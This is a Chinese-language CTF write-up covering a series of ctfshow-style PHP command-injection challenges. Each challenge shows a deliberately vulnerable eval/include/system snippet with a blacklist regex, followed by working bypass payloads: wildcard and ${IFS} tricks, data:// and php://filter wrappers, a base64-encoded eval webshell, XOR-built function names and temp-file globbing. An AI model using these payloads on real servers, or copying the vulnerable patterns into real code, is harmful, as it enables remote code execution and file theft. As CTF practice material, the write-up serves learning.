目录
例29 简单过滤
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
说明:
这段代码的正则限制了flag字符的输入
思路:
可以用系统命令,然后用通配符*或?来读取文件
payload:
- ?c=system("ls");
- ?c=system("cat fla*"); //过滤了flag
结果:
例30
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
说明:
新增过滤system和php
思路:
除了system还有很多执行系统命令的函数,先用反引号尝试。
payload:
?c=echo `tac fl*`;
用?>闭合eval()函数
例31过滤空格
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
说明:
过滤了空格
- 思路一:寻找其他命令执行函数
利用passthru()来代替system():
payload:
?c=passthru($_GET[a]);&a=tac flag.php
ps:使用反引号不会回显数据,但是可以执行其他命令。比如ls>1.txt ,来获取文件名。
- 思路二:用其他字符代替空格
用%09(Tab)来替换空格:
payload:
echo%09`tac%09fla*`;
使用${IFS}来替换空格:
payload:
?c=echo%0a`tac\${IFS}fla*`;
反引号里面的是linux命令,可以用linux中能替换空格的字符代替空格,而反引号外面的php代码,不能用${IFS}来代替空格。
在linux 空格可以用以下字符串代替:
%09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、< 、<>、%20(space)等
//<>需要写的权限
$IFS$9可以用system('tac$IFS$9fla*');执行(这里$在单引号中起作用,双引号会由于有$,会解析变量,需要用转义符号)。
注:在使用``或者system这些命令,带有$的内容替换时,要注意转义(加上\),因为$在php中有特殊含义
- 思路三:使用无参数函数链调用
payload:
?c=show_source(array_rand(array_flip(scandir(getcwd()))));
scandir()获取当前目录文件后返回数组,array_flip()交换数组的键和值,array_rand()随机取出数组键。需要多次刷新页面。
例32-36 php伪协议(filter)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
说明:
过滤了空格可以用${IFS}和%0a 代替,分号可以用?>代替
但是过滤了括号之后就不能用带有括号的函数,php中include是可以不带括号的函数
payload:
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
例37(data,input)
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
说明:
过滤了flag关键字,使用include来包含文件,如果用php://filter读取需要完整的文件名,考虑用其他的伪协议,如data://,php://input。
注:data://需要双on条件:
allow_url_fopen :on
allow_url_include:on
payload:
- 1.使用data://伪协议
?c=data://text/plain,<?=system("tac f*");?>
payload:
- 2.使用data://伪协议的Base64编码
?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
Base64:<?php eval($_POST[1]); ?>
paylaod:
- 3.使用php:input//
?c=php://input
<?php system("tac flag*");
例38
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
说明:
限制了php,file,flag
思路:
和上一关一样,继续用data://
也可以尝试用日志包含
例39 data伪协议闭合
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
说明:
include新增参数.php
思路:
如果data://协议中的php代码标签是完整闭合的,不会受到后面.php的影响
payload:
?c=data://text/plain,<?=system("tac%20f*");?>
例40 无参函数链
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
说明:
过滤了很多符号,php伪协议,system(需要引号包裹系统命令),反引号等都用不了了,但是过滤的括号是中文括号
思路:
使用无参函数链
打印一下get_defined_vars(),这个参数可以获得http头部信息。
可以考虑post传参的方式。
payload:
?c=eval(current(next(get_defined_vars())));
post:1=readfile("flag.php");
例41构造字符串(过滤数字字母)
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
思路:
这种全过滤,反倒是只有一种解法,就是构造字符串
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符
从不属于正则中的字符中(比如不可见字符) ,选取两个做位运算,得到需要的字符。
payload:
php版本需要在7.0以上,支持动态调用函数,可以把函数包裹在括号中。
c=("%10%01%13%13%14%08%12%15"|"%60%60%60%60%60%60%60%60")("%14%01%03%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
//(passthru)(tac flag.php)
实测如果使用POST传参(system)(ls)会报错,原因可能是m会转换为%0d|%60,%0d是回车符导致POST不能完整接参。
GET接参和POST接参对比:
%0d换成%2d可以成功执行函数,但是%2d是"-",被过滤掉了,所以只能换命令函数(passthru)了
POST传参报错:
附“m”进行或运算的可用符号:
构造字符函数的博客:ctfshow-web入门命令执行-web40/web41(附python脚本) - Aninock - 博客园
例42 命令分隔(;,||,&&,&)
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
知识点:在 Linux/Unix 系统中,/dev/null
是一个特殊的 虚拟设备文件,通常被称为 “黑洞” 或 “空设备”。它的核心作用是 丢弃所有写入它的数据,并 立即返回读取 EOF(文件结束)。
- >/dev/null:将正常结果丢弃(写入黑洞设备 /dev/null)。
- 2>&1:将错误信息也重定向到 stdout 的当前目标(即 /dev/null)。
最终结果是:静默执行,所有输出(包括错误)都被丢弃,不会显示在终端或日志中。
所以直接用tac flag.php是不会回显内容的
知识点:在 Linux 中,可以通过多种方式 一次执行多个命令,可以通过一些符号将命令分隔,这样后面的>/dev/null就不会起作用。
可以分隔命令的符号:";"分号,&&逻辑与,||逻辑或,"&"
&需要用url编码
payload:
- tac f*;
- tac f*%26
- tac f*||
- tac f*%26%26
例43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
说明:
新增过滤cat和分号
思路:
与例42一致,不使用分号即可
例44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
说明:
新增过滤flag
思路:
flag用通配符代替,与例42一致
例45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
说明:
新增过滤空格
思路:
用linux中可替代空格的符号,绕过空格的过滤
payload:
payload:?c=tac$IFS$9f*||
payload:?c=tac<fl'ag'.php||
payload:?c=tac${IFS}f*||
payload:?c=tac<>fl'ag'.php||
payload:?c=tac%09f*||
例46-49
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
说明:
过滤了一些查看文件的命令,但是tac仍然没有过滤,过滤了$字符和*字符,空格不能使用${IFS}以及文件匹配不能用通配符*
思路:
还是用之前的技巧,空格使用%09代替,通配符换成"?"问号,或者在文件名中间插入引号。
payload:
?c=tac%09fl''ag.php|| //文件名中间插入双引引号
?c=tac%09fl\ag.php|| //文件名中间插入反斜杠
?c=tac%09fl``ag.php|| //文件名中间插入单引号
?c=tac%09fla?.php|| //文件名用?来匹配
例50-51 连接命令("",',\.`)
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
说明:
新增过滤tac,%09以及%26,不知为何,通配符?问号用不了。
思路:
使用其他查看文件的命令,如nl,或者用\,"",'',来连接命令
payload:
?c=nl<fla\g.php||
?c=t''a""c<>fl\ag.php||
例 52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
说明:
过滤尖括号但是不过滤$符了
思路:
用${IFS}绕过
payload:
nl${IFS}fla\g.php||
例53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
说明:
和上一题一样,但是不用加"||"了
payload:
?c=nl${IFS}fla\g.php
?c=ta$@c${IFS}fla\g.php
$@是空字符
例54 命令绝对路径
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
说明:
用通配符过滤命令,之前的ta""c就不行了
思路:
- 用命令的绝对路径去读文件
- 也可以用cp和mv命令,复制或者修改文件名来读取。
payload:
?c=find${IFS}/${IFS}-name${IFS}hea? //查询head命令存放路径
?c=/usr/bin/hea?${IFS}f?ag.php //使用head命令读文件
注意|.*n.*l.*|这个正则的过滤
例55 过滤字母
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
说明:
过滤了字母。
思路:
- 执行上传文件时的临时文件
- 使用base64匹配
知识点:
linux中的通配符除了*和?,还可以用[start-end] 来表示。
[start-end]是通配符的标准语法,按照ASCII字符顺序匹配从 start 到 end 范围内的任意单个字符。
比如[@-[]就是匹配所有的大写字母,[`-{]匹配小写字母
paylaod:
1.使用base64匹配
?c=/???/????64 ????.??? //也就是?c=/bin/base64 flag.php
但是由于存在一个类似格式的文件x86_64,所以base64会匹配失败
观察base64与x86_64的区别,x86_64的第二位和第三位都是数字,所以可以在第二位或者第三位匹配小写字母的方式区分两位。
由于过滤了反引号,只能找反引号之前的一位"_"来做左区间。
payload:
?c=/???/??[_-{]?64%20????????
如果linux中有bzip2,也可以尝试。
2.匹配临时文件
知识点:
php上传文件时会把文件保存到临时目录下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母或者数字。
直接使用ls /???/?????????会出现一大堆文件,但是这些文件都是小写,而php临时文件可以包含大写字母,所以可以构建大写字母绕过。
payload:
c=.+/???/???????[@-[]? //在倒数第二位匹配大写字母
需要构建一个上传文件类型的包:
/tmp目录下有一个干扰文件: /tmp/VMwareDnD,所以不能在最后一个位置上匹配大写字母。
参考文章:无字母数字webshell之提高篇
例56 过滤字母及数字
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
说明:
新增过滤数字
思路:
只能用上一题的临时文件匹配了。